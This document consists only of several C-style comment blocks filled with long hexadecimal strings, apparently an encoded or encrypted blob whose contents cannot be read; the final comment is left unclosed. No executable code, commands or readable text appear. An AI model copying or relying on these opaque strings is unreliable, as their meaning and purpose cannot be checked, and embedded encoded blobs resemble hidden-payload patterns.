/*40c61fbc70fba45459cc636d6e7c23296738147e639795fba0e1223a380189854b2bc589373090a19c42fa5e6c06f3333362cf2d56f348240630df0af5a53374964df6ce4ad2a207babf586c72d1c487691ee05ddc01573c54e501ed1aaa24dfa01121934606e9ef26425760a5390efdf690011a24d8b5448c1124c79d6939056d6bda63a73c51f7226e1685f2d74a5a6022e2f6632a25411de65552a1af21bed925f2cd9345d221380a4f75c13b9119e201c19debe0c818dd27f32eeb14bf72cf22c272eac9d862b97fec0486b4c1f61a6d1378f02af2e80e02c9f6c9c93a4ca594aa1ec534b2c400c978ded625fe679fa1929329c3d6827e9270d7b82ac69641d2756fc0d1fd8c7e3022b5da33dc047ed0eeb99b02048aacdb58ef9423f0a45c18bc6f3e24cd8a810dc0a71d12fc48211bf9199b958cd94e55f192ee768becf3cf1c3026caf895db1fa6bff5efdb7169e2de8ee7c66e6ea5eb646a71d287fc0d778b521207b7e80e5763badf9b73628e9424ad905c71d9946d67e2c58828ed671fe169d638dd03f230cece04e9b5456136405c26139a505f8d54e5f8d0b2cf85650b0ce0e3f699db2999e061d164272129320d6ab1f95fa8b091b028b1baff3b15459b491dd2187c264a26c37cafe61b1d93b1f61da84e95bb564375724c9b479252c24410de4e4e301da5b9b924e881150fc91b4248d4c318d43599fd988b6aaa4d63ae02079c10fde7e455e727f84c2b40d9ed52333b86b7e1c77974a93ee33c10205c0c408770cb7ee32b005fdb14731c4404978f687ec16897b20f90568e4434db36d0d846cb378b39713ce57772fd7b83541393903554d496bc3d780d1aa301024fe623a24abb718a78985179e6d96104d9acc7f1de81b5e369516d4ca6da178bad641abcb86d69dbec9dc8deb26341a9d86a3555ecc28761788a84d5fa25d3c5f000816ad360526f96d70860bb6b15ba1240382d0f8c3268d08f2ed845a888b2ded1c785229a3c557fe462871d4e15153fe0cb1b83f14be2f7b7015326ec4c1b64dca1a3d0ccf997f69453a11e1c1b876049ef530db1dd829fd5d64812c0845d77094b5b96dbb45d2f4305879f8875e76eb5a54e543888b50ff3273a74535b7a2ba938ca94624c612012355d4e2bfd9601e5bf57133cf2615e288f015e95846859aa5fe105ffb2ac854393129672262156ff489db3faa6031d774c163b268ef9aa6996e83f3dbfbde48465c2d69a72c2e8c119b0963bd44f4796e87f2c9ab2c4327f62de94fb7cd3411dd43880cabb0b04a5457f843a5b4ee9c5c2da8a035b4e16c2266c86c08aec3c2b4950d594cfd46d6af89526494c640bbdfc76965665321a8078d76e6f2b52179276549769d1e5458aa6f05f03eae4581b48ce0320b9fe927e01be9ab7638c8faa5f831f347f369b09570299c76cbedcc491ffde24063b7e7e9c6497f4b1f5afa07aae4ee8f981078ef9c16e23a297d253975ccaacf566b9b96342057808332fe8eb79cb85d0aa04e246cfd2756215ca9c7732815a0bf8e9de976d3698b7c2cde2ccaaca819f6381cee84188339a9165b3ac9edbc5699fd7b70b40a8fa38395915be639295f6e4a272462dafa6955f2e4f8d1aeff43ba7f13af8b8d6dc7aabe5b6c8b9ad7f71131d78532eab456a73f179ed9316b84c16438f5fb444c74fbc97f686e724ed4682ba403268f9c7cdccffdc8439905bd0a8241900d08d69dcfd1544c5e43be2b4ad989efe78d59f3c19387c2f5d08b43c9531648fe6b29914a92f171080446721f950537f5bda7c74d8c9cd7653443ca86214cc2f444b47359978b64bd046b6269e1dc246b6d577dab915ff1f3d1249c285d1ff7f832c81e935849307b61b0ce38e81f46bbba7833a517d73dd187912fa8c8b1ec6b093afe600d745e30a4f31ce292621b91a89e2d2fa68a9ce52974466d0b9a5634c05a636ff2ca8eae85d9f5a4b439f214cb21b1a196b397d4172ec478149379e503e21a62baec645aedc18633caad3f5a7aeb5dca5cdd7117675fc37ee94af2bdb07021b810dbcac1c9e16604ae1ddf4516e1c7759f54ec005e015a1ed589e8231780c1c44c699ff968424fc08d8e13d2352d30d558a218df36a5fe89c2316d4d905ef7fcdf3404d409cc7827aea78d0d7e93a2819c143f0f3e4905538467ccd3450ae839ca872d6ed5e632babf8a262c09a3f034b683450d6a99d703b1a1b1400d525c1f033f28be4ea635f4d345d755b158bb74b7bf96fbcb577f845a026f8e3f0bccb0ca1e785d543a514af8c84ce7a80971718b0810bde96b501bc1b839c042b9481ab74afef71d014c06e60e5836357f9fa0099a845d595e6d9df51621ea57bf6e28378e0ffa7af889497b316497682b71e04a12e43f8d90b7da666d7d34e223d07c20456a62d00a476342289a8fe4889abd11abda650f987d8914556eeb1f2005c9f9b5ccc557311d73d8ab0e72c1ee115437508f9093afd2bf7cd5dd2f554ee9c453f8d839aa103f8d3bcca2fbb7082552ecf42bee4f936da82c3895d3a512ded9e289e7a193723928a4fc1ac5bcb6b846bbb04dfacc5252c7fab69acdc7ad11fe87b67740d720494cf93d33d00c1b45e2d8f7e8d417ea6042d7dd2c11cb5aa2ea5ec9705ba2b798e1d4f67e0c8fd02e5cd75774ee8d3b973ab701ac4f1612b362388c596eec9bac018b874ce2409049ed4621a7907cf5fd709d7803b0f18381c919d02560338b384a51d19224a2fac4a8295706ddda65677badfccc0919d27335bff3415d29d7edf18f42ed8f6d119c51c93f61aa1c6c5bee174ed1721304a5c11c0742397*/
/*5f808b6281a95b3c23ee458b7ebb32cfdbc8c6da3f4ea6d4fe403cb42165d53db69df029fca25047ddb44a3f289b4fad99c9ab9ed3c42b06b62d7bf9352f89e4bb3abbfd8ade725534e9986df41db97c227a9091fc32960d36ce97f03e4c4a33067a7f3809d4be7ef3faacfe58c2c729a9fe3ce89c0ff39313b4006889349c3ea9f37be707f83f803f3ed8cc816fcdc16bc9c8d8188884f64ee270c12e23ab8961c4c6cd768fe93b8fff28f1c531ae6629a6c7bba551d9300feccf636b9806b9d6ad8b590cf9d99eeaba0e9737cb46a4a79d4e20b87bb1d6528fc7ee4ab921c51f58509d3b4bce9df55a04b17f8ccffa7c97f782562a655557db8e5d76d3ebd72a2fbf5e514f60b2002f4d54a7f69212431964e5c70ca5f550253d7b4506171465ac9a7e22e0d0d82bfc8583710a15f4afe462df73ac20a9bc25507673d8961bfc6ea1c20bab7698c8c84be61fca2faefe12569a4476030125bdfd96f4d0beb8ec5380ea2a9e51988ceb97ebf9925739071f50751007f5cb5fae2e1746e9a05fd62e161406aa85c14222455696107c3bb06c5226fbb3c74beab864bde8d1ed51e45c696409ce884b01d0a749cd93db78cb3e0ac0369c63d1879645d719805d3170f314e2d476f7fb7ea30a6736d38f95503a37e7bec544b59a90931e8d6bb1dc1ff79fbbf96ada4543991866bed54634f4bd0d3c432bc939baf097a4662cd4a15e354e7bfa56335dac178568ee7083d1825c6db2436d307ae7b4673dc6891f78a774f08d183ca27edcacad040929ecb2d372aae7c759fa1ff9639519db32c7043277b4449178f3d5c99b1bbf498c531a35d3177e8d618a3a4bd0b97188b0cfb712f24c0d1e4071f19ed220a8fd41aa1469d9f8882c3e0abb8f3b0fa02c01593df81770f69b73f505240a70642903f4466bb626dd6d110f7ccd399097f6ad3fc3515f2ea1d31bd7deb6df3905ca9c0250b9cf8cf8fc0a5267d8beba43b3008c34d3e238795a4a69c283507c21c8b4c26ae74e92d966e83d13baddcf3110d94f7db75a154b9d9eb3ec68d6eca9a0a29c0f0e2f89ef1ab1c0fb624cdd4d54912333cfee5ab52b87e136a5245051ff4f4cca0b86265643e186eaca90d74ed01897311063329837fcbc9e8becac7b71fb82964b34938d6c4139cf69e8e9ac41610e55b624fa35e3eabb565e6518b888dcf7564aa25930019d9a923e53fd114f7d93c21e41d8833e6df74f718ca855d8cff636a0164fc653411906db0aa7fbf937c6f0823c450621103ae71f15b7f728787f27c24556fad6dc465b5ed18a99ca7b7b7957e622820c4a69556074e2804a50f1ec0b318676d882224968288ae1004ff8b9150c91ff21ea1d0c3bea608dadf6edad01f9931f4f9b6c9e964c070d1224096c3233b49cc940b381fecca45449095f0de0a1bfe6587e121e824d528ef40be048f3a0968dbd870f5d2056f5b4f719d3a11f8a4bd7d212712543b39cfc4402a7f2041b4a2f49de4c3194fbfab1af942e1a0b4650e90f8fcc82e32bb8a24df1cf41522c4faf8a70ca9e891cbbdcff17b07bc9e6a302e1617743bc7018b082bf4960eef8e2d8ab3348d002b6cf7018cf7a1778e1a3cb18445fa47b1ad8b0c0da85533ccb1f9208b217de678cf57bb80e036cd79f874ba7108cf1028e174676d18322fd0144126bbd9982f099757712dec574cd6110bf8e9f4034010aa7ce695e7dec274b4730973118e1a3a8a48c0fa6999758870f308ece74f2d5804f5f355858b4dccd0f9d2b0a162e0b7a39103e1df1fe065d0bcc6ce93634a9011dd68b9c6ba07c64af30357dea0abe441d25b07f5accd85be18f1bc50f2e425705761c1c8a1d93ac9d836f305671ad7405fd9c7a929da77f6fb9eb6dec0cc1e43a2a55dae23a262b64927ec4631153652862eadf988f1beabedda7424a35ad28209240ca2243eca864f91c615d00eb42b25310bb3a0fe6b7672777e7be232d643d295479386edc28794435e014255b3f9cca948b54e60dddd6d9a0b99c1ecb8778dee024f64142f5d6364719bd7386aa3af69e604364e8a16f9b6edc2d9e78c0f5fba0aa7a62043d2fc0c92c247e1f7285f25da67f894c0be64d995d9348316f348ec1ed92c3bda665333b0f1cdf05735758c65b18b47d7be1dd01f88aa19e20e92c41fc5e065ff80887b90ddeec3a87461c81ae949b302470c220399d39a942c2e7a7bc7dde21802d8d3a3448f25ca21840863cdb432c29cbe793707fddb6e8c0831ff24ba1632ed23a51fd68f733948076c2942f99a91c756b15d6c7e3c9bd343926daaab643d0141b9679031d74767fb7003f12aad5f917a028abf9afd350220a681177664747ace1c03913714aa30781bdad4a8a0367e411c099c61f47c759b5e00d22b9b2572fe5b7fff9e5a9130b7c9f1834ba75d2baf57b93f853c7d2e21340ecfca7e61647d63349abc5e1a256b78fe0c8eb039faa6da7436b63c68b8d365ae12c46cfcae1ecbfe243cd79cf3743fa49076c9c2614391079aea277383923dc2be35496d13337e9ef19f28ca3a7a74b8757cbabb2887cec08004b41dd5f3a4a598ec7a8188b714c9228ff2f179cf9bfc9ca8477d6d63dcc7d65b71406f22aa95be43aed08d0fc2b71e41c839879c8a409a1cb62f3eed196b33ecf647fd04810f53847c43609119ad6d7df00c83247ed65c77a95bde27475e4b020fdd474155c35a2e834b6f9219ccbe4f94a1682822def8e493c8bc9cca62ddca927207cd588408836c9a2ff0cc63f0d3b40dd3c274c55a57cb3160f1334cc2e64a6b293b642f75807374cef3fc7ae0277763511121593e3b5*/
/*3c522cf9f43264d57610a568693b2f53f404ac42a98f2f71f15d41c44b89d16d788155eb29736f37f57e0db2a0d8e1f7650b09fb05b1a6361af89a09caafa771ea11e3c6e6c4eb56027e241c2d4229a6e22a3ab3054a0832034c771b2def7899e48c0fe00523d663ea01af195ce1203fc5780eaf438b1ec4c2fad38d729a136ae63f19115dd3d39a5340b3f18401014178aabda8e8dba07a485fdcc4888ff9e20b2b4fb2ac076b2c1c22a85c61230c7ab7b8c17d980d00eea95b5339951c9fa72a911357c87753e1903645608fde30c742c32fbeceee13ab3e24e291a9fa74b771ef86acb4b2a8052e3670945e863fbb8afaac169e0578439126c6679a37aecd269500edd8b77299130d6ba4a95686274dc059dce515abd98a92f107bb37dae443b23ca623f40131f9201e1149ca13e0eea174167ee0e3e8485b912a64820d63ce0b3c46007c503f2c4c08b63bff5ebf9905f5818b09f0d62532ccd2be31ceaaf9a11201ebe249dea8f93df5ee96798cc2e90a22c4b9b4fd54fc6f53f5dd23cc0818ca5949ad14411cf2e5047e58955bbed6a553d69e82f419909f86fe89924ad1e99ed204e48cfeff7e555ed161cfdcea33d423d5dbe92478610d57f8d23281a6067c949cf4d31559548abe907ba1487c6b8a46b0041b97f1df72a3a8256f4d8c2a26ae304e636718d1587293792ef45febaac3362c4bba301bf3ac228ed14e53b9f218d725b8fab2c94b3b2e3e19c2bee07eea9ae144cb2e6fbfe89f884270a2f233608f052c2ab14fa5f5cd3327e1cee47aeeaf33bae8ec61dc9e76fe84b04285599fb4920dd7cf9859babde1452816f8bd011025f4e2581c86bd6d94f65625d4420a3343d1946ced8b98c6b09294659e509d06dcc0e4f577b61b8965c8142c9e83adf99ba894f740a678287f7a1926a58f62a666bdea43192595da577d912f62806179a80a54f7b85e5b32702e48743e073dfe600d221063067827d26c2618714904cbd685612f27e3fc1f70cda2462a3d821bcf78c612996f53249441b647f4509b4b9568a0fc5e08293ff8e27eab1e935710eaa9ec07c8118bba5435353245d8fccc7fe5abea8d161935e3c1cc5f759b4da643c592f5103b586fd952a5daf139ada5608b471791cd0ce3595ee1c879a3538bfc125f21fbdd7efee54cffbe02d661c99261fa4cc432214416789e913ffe50eac6e9c5853d07e46a6c45520b5d3e95d685da265073427122397d80bd27d357f71f6ed82bd99d6d218d0ceb62a600f832d152ae557b7995f83ac81ee8c550073a30002ed7ffa08a4bf97f03512be7086664d08515e6daa64687c46588e9d7326cafe70f50d3316f76e552ff95cc7f51c8d828d70d4b2978b32dd7a3a740955e49e8e94980c3a2d2aa13318133b487c0a6ab67081b94d1afbdcc03bdb6dc95ed3073ba219418151f2847654b874a5cf84b669528a878fa957a6c8d8b7683b9e2260f2310bb5b67bc9767686f12827dc638bc98887857bc625eb8952cabf4a9011520b9f6189b07c0037c46dda6b994f44afd5b410dbb1400933ffaee6242d65625b7da56435471ad79262e5a7cb6ffafb717c89e4f07ccb663624551ea4815b5383af6e2fe93dea2406a72e00bd4f65dbbc23ac5c76e20aa8425d175ca78b081c3d8f4e2bf35472fadad792ba29ae0834837c697761a500ba99a549c6bdcb8ef6d38dd315d2c87d2d4b21fe9d0ce0a359572ada67f9cc351625caca8d7df99478ba59575cfba04f5b78b46484e6ec78f72737605e25fdc92e94916fcdbcee3d392139e80d708f12b4a546503522fcae03be9f1ce6ebfe6f6544e62a1e53645b8a65d36247465e86986a274230e2a03a9b5c83a87eafb840d72e051d9480bd1f56d4fac9de53f962ed3abf142ecb694eea2e833deee9bdf3807eada7afcb8820e5caea20d33097e020fe60c02126906b831210b332702a45f2e5e77bb0c8e68f56a4d82837cd2ba2e3fa76555acda662edbe00ac77ef6a74cc41d4a1a059e6d6611ab2ce8172590edefe970f1092e9a0fac00aec58fdf538f68032116e1bf9da26d50fa7970f4d1fdf3a44800e3e2089f59dcb6e8da297ffdd50c5d6e1e97bab019c2b777b884e0b93e023f6f0fed07e1e08c4469cf445a55eba4dc93b9203e1006bc60b55a5a5d3ee48824ec4ebb159a2ea7e8aef75fa225df3b34d29c9a8181d4493eb26a5666051c676dfbe98c30436cc3e0d1aaae853ebbf69bb716ae83952ea0d10e18e211c1befa68c97f44ebe395f85c168e0a8ba912f802a15551846baa79c972258c8b18878ca2351b5772a46e3290c41ef97c105a6fcefe0633a406bbb134cfb45ac1045624bd5bc71f71cd15d17550c7e2cba67b3075f1616b6009bc68fa3134985c9a7932795be6a7a66ee71d5a529a92b4a8613fe1a6b55583f165a3f9b01514459d8201d173fdfeeb270a4b606233edfd88f22030844d0c12446aaf55f21e1006cb78a0ec489b0bf89a049a4d782066c12af6c2326135763bfcf6a8d4019e01dfda777e7f60269b348810af03896ae3498b8f9e7d7c5ff8b1eac2dfdbbf75caa215cbea5ccfb7502fde28bbaf008ace3229e3eb21d7dbb86bd2616d4604007ee6413227a84983ce7b4ea8e5ee52685942a0ad491df5edda5ef473899432ef385fcebf1611914c7819eb1902a921ee053327a96c77eb99db4c55adb0bf813ee766f9021ba9eeac62af3dc39d6ddce86a3c2e54b36b58bd6622195a950e06432effc96a04515a759697271a31dd99f0b557cbe2e3390e765c68c69d440543f0f13d502eb20d5483f3487d53f4d1ae36918ed663edd172*/
/*36eb3e9b0649a3b80c9e6f91fb78f109f4f2a86846568ae01f6c88c6ab70fce608df5e51075fb6e06c5b0cae416fd9cbbb62fe8539e14c6ac2b4cc8c6d2a79177c12a7ae83ec2762b2476c751915cf0ca1d76eebc05487d3c7d6aab4e97c7acd54dd97c4338195ba5630e5f3e0a950e673aacc4596b97b4adac5f0b51ae6a8ace6c34bfecc1415cad79350854d4cf25b718e3b1b69e15adcf9e2d53810994d06a26dc164ef30902f966cfa41529e847d29ed1e3ec1f09c2903da8d26fe75b38bf91509caeecebe67309b008f681fddaf7b42a9079bb4d92ee9633093ebf5114c5fa4add1b1d964fff4a1189f72bd6c49a253270a8e5664e8901bf239be9e110cde425313352bffcaaec33a7b8567e9b406cf819642ec27587fee86c809c86379791981480fe3da19f0cc26c511cf30ff5a66f73387b93bb0875e8059202646d2873e1b9a3a092886fd75371dcb1326ed9b78c5756cbd7d625830e712f9f306dee002107a311cb1b130d046d27c3ebe43f4ffd14b09040b92804d21a7beab7a547629c9b01f7a0cc39d7d2b95010e707a740fa90083ec0af3c1c05973f26e4cce560ade8cc104d72358ddfde38f62b7c9cbe2525ffc7ce4dedef80d01c384df8ffb13031d460cdea4127b1478ca996fc20c6163189d9ce7694f971c9e1a8f938d74336fc5aacfc7cee8cb8b9fe5e0508aa9942c523d12a5eb67300e3e46a925a8235f8397ca3d3839357cc09ed0b166eeeac367aed2ae1982253e902c610927cf8d71eb6ebaa02e99c9b93f36111c543c8022ce99e5e6c3f38e2e19c212b21e468bca5cbab0838caf6df563975148bcbc0c309869e2b21b95ecf6bcf70887a931f86a17f7de4cf7b077e95033c2f952f94afe61ab4e75b9080ec955a9b60e206480671bfa5a4ae893a06bf6e790bb9044196c57fc5c2131305a387955f75c5809371958d54fa10cd6a663f979706a8bcce540a928e896cda33cd128d4ad1998722e1b1bfa1b5e63bcf360a4c72904a1289fc1b6356cbe082e006b3c52302f37e05fcf00614588f98373dd48ceb8589b33acb8dcc487e22e5c1957220826e254099d3d8bf4dcb2698c4dcd447bc5070e7b76d16dafe4f8b874685283f3608581d2e16564baef8537258dfa3454a161945517e6ea01c569bbaa3c84f5b093cff31a36ecedc999f7c20305b5c53f70d637b266794dee1261afacf7e94dd83a450d4aebf50ede5fff321726b768894fa17548ad164eb4a62965fcaa8e2ee76b2810007f771067a859a2cd077b59d7962fddf45451b9aab6f4a817b1ff5f8d9e3c0e31379cdd3c9cb3dfcbf3611082f2238bca791e7336d32f7fed8b22f75e341946054d85b4012ec22bb696ba684b15ca5d3a7d4cfafa7f716aaf96b093811808d499e57713c57a87d61f48aed75248a5e788ade8b4e4ac2fd60734c65cdf75ab15fce045f32601ba53922fb995fa4410df48ea296c09bd6bf6de2f29d06f72f31f53f4e1384397b7c3f96dce330d52616cdc23b68940243067554a2e93a2a3fef6caaa1a9e21cb2a0f93f45f1d6c2b4623f1fb364f3aaadec28f716d1fd9f52707e5b62fd3f7625e9f7f4a74749bfdb0293f302e959dfd838b51ee81eb77e91cf01b8ee9e2c039cc9d2fcdb53edb3091ee7a2d91661d64cd027f16cb8432881aa9f87c9ff23821b228267663c8697220ef9c33d60b92bff9cad0fd9194d4c9767613e22c98062b94762ad6422b4703f7508b894283bb265bc64b88d81948da9fd9954891554cf2e388ba5fec3f7ffba7ae38a576803e18b7d386a7d64f289d7aef24901cff6e0672681f3b6019239a9fc6a240f1734d08c1d020a610b5c32ab5f26f15e7def62dad76cab4563d64337247cb5a46ecbf45941325bdc4b1f22fc2bd845abc1db5a07a619de42324f985d0d018525805f835b933bac55cb19f919cdade5ffcee27f4c09d4baf62d19042b28a22b36c83117bc74c08da4ff24cd8b793dc4ba37f7ea5766f8b902c735584aea6e3529a9ebfd7af48c1782dec3fe3b39129c93b0dc8dfda82b8e3ebee3b69a759dbd02456811912a92bd0679943172ec09c445b1c4c19400d5bdaf207887dc8d3697d1bd99f7d8a91b648048409ab0d54e4065814861396acff303a546bb0c4c2db583a037aa25c5e098ee4539fd164da53035be4992c114e99a423338594062b279ca1702c2ae07efb8e4759c9f416ca3bf7d8f15cb611a19ef29d4fae72bf296e0e984656677c99335a81a4d36119935ffb0f71c4c16fde2d33ca50d76a91c13da2c2644205515e6257ddf137e32aa8a01610c0b57224ecce9ef41f905e8df6f57ccc56d75051b6c9caf32a03dffeda45873fbb2183c1e603f4de488b2d33f65bdd8962ca91e997f649e564d8ad34715fc42c941af65e8dc8c7db9132280c9fff0c271dd2f0a2912a786e194512933f0b917245168cb37d2dd43ec77554e0f047f42409ae64f0253f7491925acd0897ca1bc3239c43fbd502a255b2fb2eb593428ff9773dc3ccb93b536d4408906b6a5abb5475d19e5a2ba376841fd06f4ac7a3f90983746f548534b72160cd5971efbd66f59e08e1b3291773b2a3fcb0d19aa5d18d5bcd0770ecf837e1ebd2b6f25f5d39d794cb46d9082c453d38bb206d484dbd1397c9c2f20aa9a4719e92604825bcb41270cd87cb89c5880c6c70f300c0582f6dcccd74df8667cfbcb1f3daed0aa2ea5e795057dfa99f8cbd72d0ea8475e4c53d225887fa366c1a9321f389b02d070b8c21bd29c773216fa72f90cd5afee935a3c6b6515bb62079f117615f0305212e3d014665088c7a47e9b242e34614cd*/
/*b03bc570f6cce5adf43f0c07e4562d07a0aadcf42476a756d5a4ab745f9e2456ee67f803dfa041001532c5243702c4d3d58fcb6e14974d5b0426a92c9e7f6c9dcb12b510b457907251aa3fbcf7f9a3a6341be2acbd7389cf8fe601e632e42d22b8cfbf2c32388d0541a234bcba3e9a39d9f41621cd8e7c4c424557706648035379b4934c82c536afe8a587dd1a8e731ba8ad7d7bdc3610371573b068c8c1431ac728706120d04468e8243249ad9491d8f36753b70c0ce619ef0dd8d73c714dfd0c448fbba5d7576239ed7c09acbcb2a9ba7daffea58f7d1fdb18a8c2905fc419213f5b52dfce8c9bbf75b546e9102a2cffa8c024f9f1e2f835286ffc51a890cdba2fffb22dfe70cf57374cfd977d7da278f2be4e3a9b9e3cca1a9072c7c46618150ea4570d7907375f033a41e0c4ad9e14ab9b31607418e1b35b762558e2ba04922729ba51f2bbdc13850ee37e4972a076711803723d36de7859c1e0de11d5424d1d33176505ded901bb4c012ee962af360a36f324a836a8b6f843bd324243cd9359d562398e20d3a7ded665ac0820abf40e91c1b29220731513e6301f3015e7a953536b1ae86d319a84cd22961c351a87b253d1f908cca97e6e9baf62c3008898911b6206c9a0f8e2ec98ca53602baf168a5cf53928098bdcfc4de16a589384917078a8175a1b115fecf7dc59a173cd279e2add2b47ac56c62e78cc284a7ddabeb9da116df5e405309966025e065167c0fa714b2546ca1b8399926c61482a2405c182e071110e91e8520cde530c33a0f3f03ab7c750daf2605b8a448b74657031c0d72abeb4c5605c8f6cc9a5ba03ebea0888a565ad66965a36f3188f05f652ba5d609d866a8da08cb9420c54d5602af8c6933378c80f32fb01661550b9e4a73d69ad8c5ee0214a64c2dcdb39e74d96b3ca6ba4354f42a907770a9eb36b56aaf4eb11230923beb27d75aca3507ef87700af651a6a673d10d4b895a1f5c72e3ceff5004708417dd8495b649b0460177ff91f6fef50b37d8d013f7f74c1afa6acf763b0405d60961ec89fa1417e3bb022c4f85311e5112916c4de29cbea51264fa5e34b2297e8299c872a0fd719e06a41cf49d22776a16b76932d7bc1708cbd3b1521f7fac1ca224dd6f2f4c56c10126abb91e8a057170ec5d434e008917c92e6ed8eab896ffd046b17b3c453c23cc3375a9d39423be332449c15964531a41691fd1db37c652eaacdb1114069458fb4c4d3089f0993a7df3d9548f99b8bf2e5b3c435ab39da65059e7415b99e81666ffd6d47f705db203f312b62de7babd077d9c1a45d1dde4f445f546ffd3791ad21c42320f048e468745a3ac54ea77d628cbad83254ba32315c5a3f2e62753c4a0371a0a0472ff1bb29c015cc98a8331d6fce984b32df8c0c78f01644745c4da5730d3ff089ae33d3b85d008282f9e559a2183868cfb2b9839e8ee37a4edfd73a6a29933ef0d548eaea431dd8ca1b05fa73bf7e541e43d3a3b5aaa6e5971159c51674cf34d1eb96fa207f0be317354c63aafa568c48349d25f2b6ae188fb2caf96faa39d855312162eb390de79da77d7999d0ad77510fa29d7b24ed0363c36493eed2364b1f81d6373bdf89c597841593e460c3fd513050de85dca9798bdbf70838217a8433eaa8875e1575a3f04b2cdfcaed31904fd5ea210f8d1c78c91f8cc81edbf49282003bf30a1925eec3ee37497d02122226976f7a05a736891054fc676d4ec709cff0b6bfab09f50c901316e79289464ed64a205baee292aa74e3c1916f3e805f284d80313cc5bf65002a575793310fa83604f2711844c9af3ece9bcc9138332bde7817b4fe53ad5469282fe2d5825c274dd94a12b24fb9a1b106da3f44730b850b60e5e7d0ad4a63a06c730fc0bd956cf4989fd72b0bf27920764f6bf3bd549624e8866a31e6dd9ccaf6b0a13ad743980626ac6650361f10db626737368212efd69fa31c6d4af843e19891b188f5b586d824f685975992314e4f9e2deef8795a323d31ec015f9b76e32e038024fc86c444b999c0911af8d7da6c64fb4db9539469dec6f2ab7d557ac45d20b4b8e4a0b1641392c625d4a7cc3174043528624c25239ea10c90312766bdfd671c07a4de692ab07ca90b1d22c827dfb88783ad132c2c0ece0e0d6b79ce2cf36114d231608cb2b4397d25060a87bcaf1a9eb9923c40e80301061dcf859c1707be8167dbd8a915946af3bb6042dd39e46c98df6177342d288d6726ba3620ff520428cdb22d20520b53c01aa92f15a2556609c26fb7ff7f0459871cb3372ce433136ed6fdd84ec450a544c9202682a1225e803bb10b3279a66e6c72667d7bcc2209c5ce7b082edfb8e2e2dcb82131b0c3c09750fd45b07b9d65f4b9d1f7b9a72e0dec504e84b3bc27ff7e028299c9fa9c334a265aae129ca30f031e49cfa4d5d22b24533944f75665e9e7cfc92c93a5345b7e9787681f7a2cc66a3dfed18edceeb8ca2c10dd6ebea5fb1156fca8a5bf64e6d95495c22ec9e719418ac63482ce7cfc0a901de3ee8ad4be43a4e076b46bc30e7ce31b3f6d7f4eb67e1d545822f9d05ae770bc69fc1689a0941c621d0c19583eff110b6c35f5b3abd55371434cd123120289320fd96a795efe4925978c1ed739f038ebd66d15144f7d9d36aafd570f37cebf7c5b05fa1249da388c45732e889e99f78e87ae2d203d8e06f8e901bf57a0f0b36cc3fe746790938d7afeae13a4d778a3ba68a55e927024c59bdeb7d064124a9898b202e7e5c671ca136f11623b72fe76523f1cdda52cdfb67106cb158601f9d3ffb313b3f1d4892de37966068bc6a43d36*/
/*d4fb65146d713fdba895903bda450911644eb07f2cfda0c148f4190ac0f380d5b9ffe90fe0146976142230c828fb39510067b6563f751fe05e984fc4ab58ebe19a00cf127b2a9f8abd255030fcd902b39e18a3849471fc85f20ca4a071e362dc662d02620526680f5aab47125fd05cf9c427ecb352788327ac9f64f89987ec406c40189751c06883b8907072f60661d4fe3c9db4dda963acdebb8df3248c422dafcab8d0f06cf945bb17ad8ab89847629bde51416224642e6ecad9e2bd39242419a9541de0503c56cefb91c7aa205b76d5e27d8402dc1a09bc032a576a049d0085faf2ed40d971970fb52afe8c36d4baf8eeabcc0288fb935c7481498c4274948081c54e33eef5d231e3553473d9aa211c0681e27b523c06a0d822266758c98ae68c3bbae610e88e243cfa871c2d054bb6fb5d066674b6e74c55641e359c9c2758d547aad9a8b3ac76f34db816bc0bf77f8816341c7afb2507c956486758c89cbe9f2d73e56bb0073e951a70bf5d9b9551168a048478f2d0d50f7f48c657845fb7a0aa93f2b62ba77274ac64349af27ac1f799f5a39aa490662d874a5dd9953f9286e9e883b9c2e6503865812f7feacf1409b1573cbd2c60c833bd1ccc453a0080bf88c5d0c0ef9e2057a5d2ae7e929ad879709ebbff6779968789e2e6c0d2680f804d7c8b9ce25b76c85bd6677f3cfccdeabf547c0fbf6966e6a73c3c8571780c9abe61544ee7470ee674a4f7488b3511a14ab392c4824cb13313a8309af81431f6fd6da150569a33ca2358b46137c7eba9163030b65c189d45ddce1118c513d1c59460b74bfbd226152ee810075e38a904a51bc602f366c89706af0a42997f4f3919d8d39bbb63de6b877976ed3d33257ca24985791a904638b427525ae94ffdf99743be9f4062a4d1d6e88839b105ec37d649a0ecd7fbce85eae9799c6665312488f91c0091561e00485bc1a0747bfb72f400be0b0ea5d3c5b73cffa5944007ca0c17bd5122fe5b1016f21febda0e804dad8a4934930db9b5fec03c8376c579b21aeec21b3cc112c5f59dd6dfd78fbf9fcf470f3db2b28cd5b507da939fafb4e3512ba256c3c2888372160f078aefb4fb1124b43f7451047c0a76b010d19af035a30470db95877bdf5ad0618c016df430d24f0360785491253e2555f0c19f9893f7faf5851a18125ec2e43fb1e8b939402d07366e88d659e2f2b1515b675bcf6bfc33f66c288a30270b06115ca7f3699eb7a95e8967b1db78c43725bfbc6ad6bbbefd0045ed7cd8e46ff695e6d60ece7121e3579341a82b2d2e8c037e9c2a75bf26deb0889d73c43d92bf34cdebd9ad3a8cf6820ad28474913effd90237c31c5735081eb5d933196d2bfb3ec34e9b61eb2b5d7bd5573ff8942fe7bcf3cb50a0fc66685aa4417070915d6a0e319a525cd9a672eca25d993dca39f4686a8fad64bbd02bae7c91d5866e7cf68b08bc8497e8db5832cb858df1c61adc1ffd49019a1815e9fc3c400891f3e1a037295eba1f4db990f967941e58c716a1d3bea34f83248e09459525948cf00f4909bc84134bf86f822f4ecb44cc353afd755c664f43de8217fb3c50771e1c1335bba7247d2b74a0fc7d502e4c6a0c95972a062d2a4a4165c48aec2427a14afd21c80b9cafdc50e5e2e66c2b9166a77fc43c379058ee64d529e3dc8077ddec77a287c327c816ff23339c78981ec5604703d61e9217b93e048c028886cb39025b6b097f5c8e58fd509b155dbe59bdad7c9e4f5001f1b22219f99c70e588d3259d6a83bc07256de63383e532a1b719bf32dc1064c88077caa13eed0e4cbffd67b3a7e7ba3334862a1723afb59264190208042695b42f81a9fd9b09491434dd6d09d677935ba3d421c3b9d346beec68b000e92dcd120121e0a19e0b3472e0051e756812dd529acdf67f61444dd174494b3de5ac7ab4bff89a6842bd4a6f7a85bdcba45c9d8a7ddf451d649d95260642105b4e14899e178d3b39b3283b3da3850285c06329195e1987c625c89204718b9ce1905ae8a0f3e4f1b252fd3d13a4e84037fe5299d7d58687739c42ce179813cca318f176e2fe3c5c762ae4b53825e2d266d58c102ac3c4c5154354d7d5b85c24f5379c7d6dc2273d27398b501148a1597f0447f702311a39a049f117fb17b0dc250ad99009f08cfbf267158d